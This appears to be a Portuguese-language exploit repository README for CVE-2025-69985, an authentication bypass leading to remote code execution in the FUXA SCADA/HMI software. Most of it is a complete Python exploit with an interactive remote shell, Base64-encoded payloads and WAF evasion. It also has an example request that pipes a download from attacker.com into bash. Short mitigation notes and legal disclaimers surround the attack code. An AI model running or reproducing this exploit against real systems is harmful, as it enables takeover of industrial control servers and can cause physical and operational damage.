
Exploit PoC para CVE-2025-69985: bypass de autenticação que leva a RCE no FUXA SCADA ≤1.2.8. Inclui um exploit modular em Python com shell interativo, codificação de payload Base64 e suporte a proxy para testes de penetração.
Este repositório contém uma Prova de Conceito (PoC) e documentação técnica detalhada sobre a vulnerabilidade CVE-2025-69985, que afeta o FUXA (versões ≤1.2.8). A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários no servidor (RCE) através de um bypass de autenticação no middleware da aplicação.
Ao contrário de vulnerabilidades tradicionais como estouros de memória no Windows, essa falha reside em uma fraqueza lógica no middleware, onde o servidor confunde requisições externas com internas devido a uma validação incorreta do cabeçalho Referer.
| CVE | CVE-2025-69985 |
|---|---|
| Tipo | Authentication Bypass via Alternate Path (CWE-288) |
| Impacto | Remote Code Execution (RCE) |
| Gravidade | 9.8 CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Versões Afetadas | FUXA ≤ 1.2.8 |
| Plataforma | Node.js |
| Produto | FUXA (SCADA/HMI baseado na web) |
O middleware do FUXA confia cegamente no cabeçalho Referer. Se um atacante enviar uma requisição com:
Referer: http://<target-ip>/
O servidor assume que a requisição é interna e omite a verificação do token JWT, permitindo acesso a endpoints protegidos sem autenticação.
Uma vez contornada a autenticação, o atacante pode interagir com o endpoint /api/runscript, projetado para executar scripts Node.js. Ao enviar um payload JSON malicioso, obtém-se controle total sobre o processo do servidor.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Nota: Este exemplo é ilustrativo. Não execute em ambientes de produção sem autorização.
| Produto | Versões | Plataforma |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Atualização Imediata Atualizar o FUXA para uma versão superior a 1.2.8 (patch oficial).
Patch Manual
Modificar server/api/jwt-helper.js para eliminar a confiança no cabeçalho Referer como método de autenticação.
Implementação de WAF
Configurar um Web Application Firewall para bloquear requisições ao endpoint /api/runscript que não provenham de redes administrativas conhecidas, independentemente do cabeçalho Referer.
🔴 Este material tem fins exclusivamente educacionais e de auditoria de segurança. 🔴 O uso destas técnicas contra sistemas sem autorização explícita é crime. 🔴 Os autores não se responsabilizam pelo mau uso desta informação.
Recursos avançados que elevam este exploit a nível profissional (estilo Exploit-DB ou ferramentas de Red Team):
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuração estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica se o endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende da config do WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload aprimorado: Encoding em Base64 para evitar quebrar o JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ Uso responsável: Execute apenas em ambientes controlados e com autorização expressa.
| Característica | Descrição |
|---|
| 🔹 Manipulação Dinâmica de Shell | Modo --interactive (-i) que abre um REPL interativo para executar múltiplos comandos. |
| 🔹 Detecção e Fingerprinting | Verifica se o endpoint /api/runscript existe antes de lançar o ataque (check_vulnerable()). |
| 🔹 Payload Aprimorado | Comando codificado em Base64 para evitar problemas de escape de caracteres (&, >, ", etc.). |
| 🔹 Robustez de Rede | Suporte para User-Agent aleatórios e proxies (útil para Burp Suite ou debugging). |
| 🔹 OOP (Programação Orientada a Objetos) | Classe FuxaExploit modular, reutilizável e extensível. |
| Característica | Benefício |
|---|
| 🔹 OOP | Modularidade: A classe FuxaExploit pode ser importada em outros scripts ou ferramentas. |
| 🔹 Base64 Bypass | Evita problemas de escape em comandos complexos (ex: &, >, ", etc.). |
🔹 Pseudo-Shell (-i) | Permite investigar o sistema interativamente sem reiniciar o script. |
| 🔹 Suporte a Proxy | Útil para depurar o exploit usando ferramentas como Burp Suite ou mitmproxy. |
| 🔹 Headers Realistas | User-Agent de navegador para evitar assinaturas básicas de WAFs. |